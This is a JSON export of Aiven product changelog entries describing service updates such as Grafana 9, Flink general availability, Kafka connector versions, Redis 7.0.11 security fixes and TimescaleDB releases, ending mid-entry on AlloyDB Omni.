{"_createdAt":"2022-10-27T09:11:58Z","_i18n_lang":"en","_id":"81ae85e6-f451-49b0-aa9e-8cfc0f2aea45","_rev":"WYf15BwQWb3V4yHfbxQ0FP","_type":"changelog","_updatedAt":"2022-10-27T09:11:58Z","changeType":"","description":[{"_key":"5bb7a7a0-084e-47f7-8c0c-0ef69575e211","_type":"block","children":[{"_key":"71f09475-e5a7-4117-9ada-0edf062c6c2a","_type":"span","marks":[],"text":"All service types are now available in both regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-04-11T00:00:00.000Z","tags":[{"_key":"eeeb4d7d-27cb-4964-8fa4-dd1e8bdc93e3","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"hostProvider"}],"title":"Added support for new Azure Australia East and Azure Australia Southeast regions"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:54:02Z","_id":"3a31239d-df8d-4a3f-a0c7-261ce9cc4a33","_rev":"NCHsgHLcvkCT8vGIj2rdXy","_type":"changelog","_updatedAt":"2022-12-22T10:45:03Z","changeType":"improved","description":[{"_key":"800bcd0e6518","_type":"block","children":[{"_key":"080025ec9c6c0","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 1.1.3. This connector version fixes the NullPointerException displayed for the connection.url config property. As a result of the connection.url definition not being set to use the default values, the connector configuration validation failed with a NullPointerException. To learn more, see "},{"_key":"080025ec9c6c1","_type":"span","marks":["808364ce55e4"],"text":"Release notes"},{"_key":"080025ec9c6c2","_type":"span","marks":[],"text":" and "},{"_key":"080025ec9c6c3","_type":"span","marks":["f05dcf6ff56f"],"text":"OpenSearch sink connector configuration options"},{"_key":"080025ec9c6c4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"808364ce55e4","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v1.1.3"},{"_key":"f05dcf6ff56f","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v1.1.3/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2022-10-28T14:54:00.000Z","tags":[{"_key":"57d6ccd7a660","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka version 1.1.3."} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:40:23Z","_id":"80416008-ac2e-48f4-9d5a-27b3e903b046","_rev":"cmQvgZcsUwgFEQbM0TLF7f","_type":"changelog","_updatedAt":"2022-12-22T10:44:00Z","changeType":"new","description":[{"_key":"dbc72c4961fd","_type":"block","children":[{"_key":"acd8d6ea809c0","_type":"span","marks":[],"text":"This release includes multiple new features and capabilities that significantly improve your monitoring process. The most notable new features include the following:"}],"markDefs":[{"_key":"50ebe8a2289e","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"},{"_key":"20f42d570054","_type":"block","children":[{"_key":"d5f0fcd25790","_type":"span","marks":["strong"],"text":"Prometheus query builder:"},{"_key":"19fe064a2430","_type":"span","marks":[],"text":" allows you to search and select multiple metrics and labels simultaneously. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f989b13915c0","_type":"block","children":[{"_key":"41dd58f8b97e","_type":"span","marks":["strong"],"text":"A new heatmap model:"},{"_key":"ebbbecddbe77","_type":"span","marks":[],"text":" that is highly performant and orders of magnitudes faster."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d1a5e4adc755","_type":"block","children":[{"_key":"6861a4fb7186","_type":"span","marks":["strong"],"text":"Improved User Interface:"},{"_key":"d9f6fa864181","_type":"span","marks":[],"text":" enhanced "},{"_key":"d5a8ed429c45","_type":"span","marks":["strong"],"text":"Dashboard previews"},{"_key":"437317a013a5","_type":"span","marks":[],"text":" that provide a graphical representation of your dashboard to differentiate between multiple dashboards easily. The Dashboard previews feature is available as an "},{"_key":"89ae9182119c","_type":"span","marks":["em"],"text":"opt-in"},{"_key":"aa4f543f2954","_type":"span","marks":[],"text":" feature in the Aiven Console under "},{"_key":"4df5a65d972c","_type":"span","marks":["em"],"text":"Advanced Configuration"},{"_key":"85f5f97eb872","_type":"span","marks":[],"text":" for your Aiven for Grafana service."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e9433f42deaf","_type":"block","children":[{"_key":"c58b5e8a6122","_type":"span","marks":[],"text":"For more information, see "},{"_key":"79075a32393b","_type":"span","marks":["dcc50bdd805d"],"text":"Aiven for Grafana"},{"_key":"fb4b5f41450e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dcc50bdd805d","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"},{"_key":"3427cfc1132d","_type":"block","children":[{"_key":"a844117482ca","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-10-18T14:40:00.000Z","tags":[{"_key":"a412363a5e8e","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9 is now available."} {"__i18n_lang":"en","_createdAt":"2023-05-23T12:47:52Z","_id":"0ff653ed-0b7a-437b-b1db-8034aa4758f5","_rev":"hmQk1VtzwG7nr02567pCvQ","_type":"changelog","_updatedAt":"2023-06-02T13:49:09Z","changeType":"improved","description":[{"_key":"06b22e860070","_type":"block","children":[{"_key":"b3417c0fe4690","_type":"span","marks":[],"text":"The payment options have moved from the user profile to the billing section. All credit cards you add for your organization can be viewed and edited here. For instructions on managing payment cards, see the "},{"_key":"9299330f5333","_type":"span","marks":["27b3e065fdf4"],"text":"documentation"},{"_key":"93c5ed69b243","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"27b3e065fdf4","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-payment-card"}],"style":"normal"}],"publishedAt":"2023-06-01T15:24:00.000Z","tags":[{"_key":"3adc83c164f8","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Payment cards have been moved to the billing section"} {"__i18n_lang":"en","_createdAt":"2023-08-14T14:58:53Z","_id":"8cc8f414-1b2b-4f0e-9a3d-e155e83f670f","_rev":"B2qRym1lObpfgwjNwfisTd","_type":"changelog","_updatedAt":"2023-08-17T10:40:03Z","changeType":"improved","description":[{"_key":"bad44f810951","_type":"block","children":[{"_key":"c52e175a16450","_type":"span","marks":[],"text":"We have ended the feature preview for the new console navigation and made it available for all console users. Navigating Aiven Console is now easier and more intuitive for projects and services. The following improvements have been introduced:"}],"markDefs":[],"style":"normal"},{"_key":"9aef48b88276","_type":"block","children":[{"_key":"66ab436e986d0","_type":"span","marks":["strong"],"text":"New navigation"}],"markDefs":[],"style":"normal"},{"_key":"731d1ec570bb","_type":"block","children":[{"_key":"7a7d95d00e540","_type":"span","marks":[],"text":"Effortlessly navigate your projects and services via the restructured left-side panels."}],"markDefs":[],"style":"normal"},{"_key":"ea77ed3c17ae","_type":"block","children":[{"_key":"528fd0df457f0","_type":"span","marks":["strong"],"text":"Breadcrumbs"}],"markDefs":[],"style":"normal"},{"_key":"a5037831336a","_type":"block","children":[{"_key":"ed7b4e91dfdd0","_type":"span","marks":[],"text":"Jump directly to what you need in your project structure using the new breadcrumbs navigation."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-08-17T10:39:00.000Z","tags":[{"_key":"84f527459555","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"New console navigation launched for all users"} {"__i18n_lang":"en","_createdAt":"2023-03-15T10:34:39Z","_id":"ea4b4fc9-705b-4f7b-bd88-e2fa3811d4fb","_rev":"dbnYPrvSKGV9AwPMvxVFSw","_type":"changelog","_updatedAt":"2023-03-22T09:34:21Z","changeType":"improved","description":[{"_key":"df551600fb61","_type":"block","children":[{"_key":"f02a16d128150","_type":"span","marks":[],"text":"Karapace version 3.4.6 is now available, featuring several fixes and improvements to development tools. The key changes in this release are fixes to handling miscellaneous errors and input validation:"}],"markDefs":[],"style":"normal"},{"_key":"8e555aad4ed7","_type":"block","children":[{"_key":"79978b0ffe970","_type":"span","marks":[],"text":"Improved error handling when rejecting invalid input."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8141905c71e6","_type":"block","children":[{"_key":"14d9a2f9f3f00","_type":"span","marks":[],"text":"Fixed malformed request handling in subject and compatibility endpoints."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"747c9b65f2bb","_type":"block","children":[{"_key":"8dd68b456f8d0","_type":"span","marks":[],"text":"Fixed handling of invalid schema on REST proxy publish."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e69fe637aed","_type":"block","children":[{"_key":"2e13cad72a4c0","_type":"span","marks":[],"text":"Fixed cancellation handling due to client disconnect."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bdb7d5e858e5","_type":"block","children":[{"_key":"ff52352abedf0","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see "},{"_key":"949e3ca26f03","_type":"span","marks":["a8928b221a92"],"text":"Karapace release notes"},{"_key":"353c92d32706","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a8928b221a92","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.4.6"}],"style":"normal"}],"publishedAt":"2023-03-20T09:30:00.000Z","tags":[{"_key":"130750e72c7d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.4.6"} {"__i18n_lang":"en","_createdAt":"2023-02-07T16:56:36Z","_id":"f8625b6a-82d2-4e67-9c05-987a4f910dab","_rev":"qBG5W2UzMHRLoCg3nAJVvf","_type":"changelog","_updatedAt":"2023-02-09T07:26:06Z","changeType":"new","description":[{"_key":"a6f89e13aeb2","_type":"block","children":[{"_key":"da13d503941c0","_type":"span","marks":[],"text":"We've transitioned Aiven for Apache Flink® from beta to General Availability(GA) with Apache Flink version 1.16. This latest managed service from Aiven offers a streamlined, end-to-end environment for stream processing application development."}],"markDefs":[],"style":"normal"},{"_key":"97990ea30f6a","_type":"block","children":[{"_key":"d4a36ab935920","_type":"span","marks":[],"text":"Key highlights of features and enhancements in this release include:"}],"markDefs":[],"style":"normal"},{"_key":"299c57253cc7","_type":"block","children":[{"_key":"1121a4255a310","_type":"span","marks":["strong"],"text":"Easy integration:"},{"_key":"6236aa4e751d","_type":"span","marks":[],"text":" Connect to Aiven for Apache Kafka, Aiven for PostgreSQL, and Aiven for OpenSearch with just a few clicks in the Aiven Console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b93cedec0a94","_type":"block","children":[{"_key":"7f4fd0fbbb81","_type":"span","marks":["strong"],"text":"Aiven for Flink® applications:"},{"_key":"1c14adfa2f74","_type":"span","marks":[],"text":" Offers a layer of abstraction that includes source and sink tables definitions, SQL transformation definitions, and deployment parameters. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"84a1bc69339f","_type":"block","children":[{"_key":"f51bb40eb4dd","_type":"span","marks":["strong"],"text":"Interactive queries:"},{"_key":"12a05de797cf","_type":"span","marks":[],"text":" Preview data of a Flink table or job with our built-in SQL editor without the need to output it to a sink table. Enhance your developer experience with the convenience of our interactive query feature. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f173df4a96fb","_type":"block","children":[{"_key":"f6df59b07467","_type":"span","marks":["strong"],"text":"Deployment stage:"},{"_key":"edf8a8ca501a","_type":"span","marks":[],"text":" Allows you to define execution parameters and reuse savepoints to start an application from an existing state."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2a0ea80d20dc","_type":"block","children":[{"_key":"d78d5cfcccc1","_type":"span","marks":["strong"],"text":"Track Changes with versioning:"},{"_key":"fbfc6f5ea6db","_type":"span","marks":[],"text":" Create a new application version every time you change the table or data transformation. Quickly revert to a previous version if needed."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"484081ef6995","_type":"block","children":[{"_key":"11dcb38f6943","_type":"span","marks":["strong"],"text":"Improved Checkpoint and Savepoint:"},{"_key":"7c578a28dc24","_type":"span","marks":[],"text":" Automates the backup of pipeline state and provides graceful shutdown and startup."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2ad9483edf25","_type":"block","children":[{"_key":"322291d1b8a0","_type":"span","marks":["strong"],"text":"Enhanced connectors:"},{"_key":"f5aeeaa5d213","_type":"span","marks":[],"text":" Improves the set of connection options, allowing you to stream the result of the data pipeline directly to an OpenSearch index or notify people in Slack."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cceb206e77ae","_type":"block","children":[{"_key":"c8bb1e046d8d0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"c8bb1e046d8d1","_type":"span","marks":["82391ca2bdb5"],"text":"Aiven for Apache Flink"},{"_key":"c8bb1e046d8d2","_type":"span","marks":[],"text":" documentation."}],"markDefs":[{"_key":"82391ca2bdb5","_type":"link","href":"https://docs.aiven.io/docs/products/flink"}],"style":"normal"}],"publishedAt":"2023-02-08T10:40:11.089Z","tags":[{"_key":"9db953133005","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Aiven for Apache Flink® in now GA"} {"__i18n_lang":"en","_createdAt":"2023-03-23T13:39:39Z","_id":"64b5af57-c6c8-4f5e-acd7-72afeb25f2b8","_rev":"4JMA3H9bBgAwAcyypZZfEV","_type":"changelog","_updatedAt":"2023-05-23T12:13:58Z","changeType":"improved","description":[{"_key":"9e7248e37b70","_type":"block","children":[{"_key":"70c712a6467d0","_type":"span","marks":[],"text":"MongoDB Connector for Aiven for Apache Kafka has been upgraded to version 1.9. This update brings additional configurations and some deprecations that may affect future releases."}],"markDefs":[],"style":"normal"},{"_key":"50fb7a5f8bba","_type":"block","children":[{"_key":"cd48355c358b0","_type":"span","marks":[],"text":"Some of the changes introduced in version 1.9 are:"}],"markDefs":[],"style":"normal"},{"_key":"722a89d7865e","_type":"block","children":[{"_key":"9dfdac5f606a0","_type":"span","marks":[],"text":"Deprecated "},{"_key":"9dfdac5f606a1","_type":"span","marks":["code"],"text":"copy.existing"},{"_key":"9dfdac5f606a2","_type":"span","marks":[],"text":" property and related properties. Instead, use "},{"_key":"9dfdac5f606a3","_type":"span","marks":["code"],"text":"startup.mode=copy_existing"},{"_key":"9dfdac5f606a4","_type":"span","marks":[],"text":" and related properties."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2ee2369c6f7","_type":"block","children":[{"_key":"c0b9793d426b0","_type":"span","marks":[],"text":"Added "},{"_key":"c0b9793d426b1","_type":"span","marks":["code"],"text":"change.stream.full.document.before.change"},{"_key":"c0b9793d426b2","_type":"span","marks":[],"text":" setting to access and configure the pre-image of an update operation in the change stream event document."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c64266a8a5e","_type":"block","children":[{"_key":"ddeb7d8e91720","_type":"span","marks":[],"text":"Added "},{"_key":"ddeb7d8e91721","_type":"span","marks":["code"],"text":"publish.full.document.only.tombstones.on.delete"},{"_key":"ddeb7d8e91722","_type":"span","marks":[],"text":" setting to send tombstone events when documents are deleted. This setting only applies when "},{"_key":"ddeb7d8e91723","_type":"span","marks":["code"],"text":"publish.full.document.only"},{"_key":"ddeb7d8e91724","_type":"span","marks":[],"text":" is "},{"_key":"ddeb7d8e91725","_type":"span","marks":["code"],"text":"true"},{"_key":"ddeb7d8e91726","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2a5a2edab138","_type":"block","children":[{"_key":"9ed53633c8b90","_type":"span","marks":[],"text":"For more information on the upgrade and a complete list of changes, see the "},{"_key":"9ed53633c8b91","_type":"span","marks":["c003ef053498"],"text":"official release notes"},{"_key":"9ed53633c8b92","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c003ef053498","_type":"link","href":"https://www.mongodb.com/docs/kafka-connector/current/whats-new/#what-s-new-in-1.9"}],"style":"normal"},{"_key":"a5ea0f80e293","_type":"block","children":[{"_key":"88501cc27c5a0","_type":"span","marks":[],"text":"For information on how to use this connector, see "},{"_key":"88501cc27c5a1","_type":"span","marks":["d6408192fa60"],"text":"Create a source connector from MongoDB to Apache Kafka®"},{"_key":"88501cc27c5a2","_type":"span","marks":[],"text":" and "},{"_key":"88501cc27c5a3","_type":"span","marks":["e4255b841bd2"],"text":"Create a sink connector from Apache Kafka® to MongoDB"},{"_key":"88501cc27c5a4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d6408192fa60","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector"},{"_key":"e4255b841bd2","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-sink-mongo"}],"style":"normal"}],"publishedAt":"2023-03-23T13:40:00.000Z","tags":[{"_key":"d055aca9a4ab","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded MongoDB connector for Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-05-15T11:07:20Z","_id":"26882296-6c3a-41eb-97bd-46bcb2b41bc8","_rev":"ZguNxh1j7N84eEhLynWy5a","_type":"changelog","_updatedAt":"2023-05-15T11:07:20Z","changeType":"security","description":[{"_key":"7ea97c12e821","_type":"block","children":[{"_key":"3638096f9b91","_type":"span","marks":[],"text":"This version encompasses significant advancements over our previous Aiven version, 7.0.5, incorporating a wide range of updates and enhancements across multiple areas. This release introduces improvements in performance, stability, memory management, and data handling while addressing critical security fixes for known CVE vulnerabilities. \n\nSome of the notable changes are:"}],"markDefs":[],"style":"normal"},{"_key":"6995ed42c2d0","_type":"block","children":[{"_key":"312f1d0417f00","_type":"span","marks":["strong"],"text":"Security fixes"},{"_key":"312f1d0417f01","_type":"span","marks":[],"text":": Includes multiple CVEs (CVE-2022-35977, CVE-2023-22458, CVE-2023-25155, CVE-2022-36021, CVE-2023-28425, and CVE-2023-28856) addressing vulnerabilities related to integer overflow, denial-of-service attacks, assertion failures, and unauthorized access. These fixes enhance the security and stability of Redis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7c264e03b16e","_type":"block","children":[{"_key":"66789f46ebdd0","_type":"span","marks":["strong"],"text":"Performance improvements"},{"_key":"66789f46ebdd1","_type":"span","marks":[],"text":": Several commands and operations have been optimized to enhance speed and efficiency, leading to faster execution and improved overall performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2836774021a8","_type":"block","children":[{"_key":"1b838e7476f80","_type":"span","marks":["strong"],"text":"Enhanced functionality"},{"_key":"1b838e7476f81","_type":"span","marks":[],"text":": The latest release introduces a variety of new commands and features that enhance the system's capabilities. These include commands for list element manipulation, finding the longest common subsequence between strings, claiming pending stream messages, and managing ACL rules through files."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"41f51eca2b68","_type":"block","children":[{"_key":"e56e2161246b0","_type":"span","marks":["strong"],"text":"Bug fixes"},{"_key":"e56e2161246b1","_type":"span","marks":[],"text":": This release includes multiple bug fixes, resolving issues such as memory leaks, replication failures, cluster crashes, and client tracking errors."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"881ada57fbce","_type":"block","children":[{"_key":"4ae98fe55c200","_type":"span","marks":[],"text":"For more information, see "},{"_key":"4ae98fe55c201","_type":"span","marks":["10a5f337aeaa"],"text":"Redis releases notes"},{"_key":"4ae98fe55c202","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"10a5f337aeaa","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/7.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2023-05-15T10:58:15.688Z","tags":[{"_key":"7f7b66a1cee8","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Redis version 7.0.11 is now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2023-02-23T10:45:21Z","_id":"170bcdd0-7eaf-45dd-98e6-919715b9c22c","_rev":"H0YIPwq3XRvJR93LPe8eDV","_type":"changelog","_updatedAt":"2023-04-06T14:30:35Z","changeType":"improved","description":[{"_key":"64ebe145f760","_type":"block","children":[{"_key":"72c17fbdbf5a0","_type":"span","marks":[],"text":"TimescaleDB extension versions 2.10.0 and 2.10.1 are now available for Aiven for PostgreSQL. They contain new features and bug fixes on top of release 2.9.3."}],"markDefs":[],"style":"normal"},{"_key":"b6817e031ff3","_type":"block","children":[{"_key":"b177f01dd3620","_type":"span","marks":["strong"],"text":"Key features"}],"markDefs":[],"style":"normal"},{"_key":"6dc343612c4e","_type":"block","children":[{"_key":"276c95b699f10","_type":"span","marks":[],"text":"Joins in continuous aggregates that are defined over hypertables (upcoming in a follow-up release: the support for joins in hierarchical continuous aggregates)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d3dbe7c3c61f","_type":"block","children":[{"_key":"2860687a16420","_type":"span","marks":[],"text":"Re-architecture of how compression works: ~2x improvement on the INSERT rate into compressed chunks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"63124b4a5fa5","_type":"block","children":[{"_key":"5ac5914550f10","_type":"span","marks":[],"text":"Full PostgreSQL 15 support for all existing features (upcoming in a follow-up release: the support for the newly-introduced MERGE command on hypertables)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3488110dbe9d","_type":"block","children":[{"_key":"54824f5f865f","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"6bd27e3f5387","_type":"block","children":[{"_key":"cb4f2c8dead00","_type":"span","marks":["689547bd2765"],"text":"Support continuous aggregates names in hypertable_(detailed_)size"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"689547bd2765","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5159"}],"style":"normal"},{"_key":"b18239b50273","_type":"block","children":[{"_key":"26a320e023f10","_type":"span","marks":["d2afc862fbc0"],"text":"Fix concurrent locking with the chunk_data_node table"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d2afc862fbc0","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5226"}],"style":"normal"},{"_key":"04acc76c4956","_type":"block","children":[{"_key":"3aea4321f1560","_type":"span","marks":["ba0a67be6b47"],"text":"Fix incorrect memory handling"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ba0a67be6b47","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5317"}],"style":"normal"},{"_key":"5112f2a3199f","_type":"block","children":[{"_key":"9ce677d438640","_type":"span","marks":["34ea866ebbb2"],"text":"Use NameData and namestrcpy for names"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"34ea866ebbb2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5336"}],"style":"normal"},{"_key":"6a80eab7b194","_type":"block","children":[{"_key":"1e818bd1da430","_type":"span","marks":["e358281eb32d"],"text":"Set PortalContext when starting a job"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e358281eb32d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5343"}],"style":"normal"},{"_key":"5d6e7fa242b2","_type":"block","children":[{"_key":"bf45e846dbd30","_type":"span","marks":["2dec2ccf2f3b"],"text":"Fix the uninitialized bucket_info variable"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2dec2ccf2f3b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5360"}],"style":"normal"},{"_key":"07bbc82b12fe","_type":"block","children":[{"_key":"dfb8eb1fc6bf0","_type":"span","marks":["8589af5a90f3"],"text":"Make the copy fetcher more asynchronous"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8589af5a90f3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5362"}],"style":"normal"},{"_key":"3bac5686a871","_type":"block","children":[{"_key":"6ade4e1434470","_type":"span","marks":["1f61f175ed4e"],"text":"Fix the num_chunks inconsistency in the hypertables view"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1f61f175ed4e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5364"}],"style":"normal"},{"_key":"5f3ce74a0aef","_type":"block","children":[{"_key":"54dba291abf20","_type":"span","marks":["2e91b28fe6af"],"text":"Fix the column names handling in old-style continuous aggregates"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2e91b28fe6af","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5367"}],"style":"normal"},{"_key":"0d74a38b2cc5","_type":"block","children":[{"_key":"d689833d93310","_type":"span","marks":["e02af83292c4"],"text":"Fix the multi-node DML HA performance regression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e02af83292c4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5378"}],"style":"normal"},{"_key":"99a398565321","_type":"block","children":[{"_key":"a97d2c0a1b440","_type":"span","marks":["985b6861488f"],"text":"Fix the hierarchical continuous aggregates chunk_interval_size"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"985b6861488f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5384"}],"style":"normal"},{"_key":"0420f9f16f5a","_type":"block","children":[{"_key":"17d18e228d710","_type":"span","marks":["d1d1f49219b9"],"text":"Fix sub-second intervals in hierarchical continuous aggregates"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d1d1f49219b9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5304"}],"style":"normal"},{"_key":"19cc616f5bb7","_type":"block","children":[{"_key":"78b342a04d830","_type":"span","marks":["039b9c2b3a76"],"text":"Fix the use of the prepared statement in the async module"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"039b9c2b3a76","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5214"}],"style":"normal"},{"_key":"6f6566f2783d","_type":"block","children":[{"_key":"a5f4c8da919d0","_type":"span","marks":["6086823de49c"],"text":"Add a role-level security to the job error log"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6086823de49c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5218"}],"style":"normal"},{"_key":"ca3300061b81","_type":"block","children":[{"_key":"3aec290dab280","_type":"span","marks":["508c07bea8e2"],"text":"Fix the next_start calculation for fixed schedules"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"508c07bea8e2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5239"}],"style":"normal"},{"_key":"097bfa4cedd5","_type":"block","children":[{"_key":"42ace96a33430","_type":"span","marks":["5b81e3330cf8"],"text":"Fix the enabling of compression on continuous aggregates with columns requiring quotation marks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5b81e3330cf8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5290"}],"style":"normal"}],"publishedAt":"2023-04-06T14:22:00.000Z","tags":[{"_key":"46993784e633","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extensions 2.10.0 and 2.10.1 for Aiven for PostgreSQL released"} {"__i18n_lang":"en","_createdAt":"2024-09-24T10:54:48Z","_id":"976078cf-4e4f-40ef-909a-5882696125cb","_rev":"bymaB6yAj3KqaIMPOpZTaV","_type":"changelog","_updatedAt":"2024-10-02T13:42:14Z","changeType":"new","description":[{"_key":"93daf44ab540","_type":"block","children":[{"_key":"9bd2617904d70","_type":"span","marks":[],"text":"Discover Aiven for AlloyDB Omni, a high-performance PostgreSQL-compatible database featuring a columnar engine and built-in AI capabilities."}],"markDefs":[],"style":"normal"},{"_key":"e7484fc237f6","_type":"block","children":[{"_key":"33ce51659db30","_type":"span","marks":[],"text":"Key features:"}],"markDefs":[],"style":"normal"},{"_key":"291c6f8a4a16","_type":"block","children":[{"_key":"0d2103cc05310","_type":"span","marks":[],"text":"PostgreSQL compatibility"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"327002a838cc","_type":"block","children":[{"_key":"aa5ce3056be30","_type":"span","marks":[],"text":"Multi-cloud flexibility"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"089905086cf9","_type":"block","children":[{"_key":"8844999fdfd10","_type":"span","marks":[],"text":"Lightning-fast analytics"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"414634488c97","_type":"block","children":[{"_key":"6af68ad935970","_type":"span","marks":[],"text":"Managed service simplicity"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2e6b9c5c6e71","_type":"block","children":[{"_key":"d9e6b0ba326f0","_type":"span","marks":[],"text":"Accelerated AI adoption"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d82293eceac4","_type":"block","children":[{"_key":"84237abcb17e0","_type":"span","marks":[],"text":"Enterprise-grade security"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a5abb1da0a3c","_type":"block","children":[{"_key":"134db5a0d9280","_type":"span","marks":[],"text":"Key use cases:"}],"markDefs":[],"style":"normal"},{"_key":"10cdecd1631c","_type":"block","children":[{"_key":"7c00a4c280450","_type":"span","marks":[],"text":"Data-intensive applications with complex workloads"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9754cce17840","_type":"block","children":[{"_key":"6eacf85c81550","_type":"span","marks":[],"text":"High-performance transactional workloads"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"64b94943febb","_type":"block","children":[{"_key":"39a532de3e120","_type":"span","marks":[],"text":"Multi-cloud 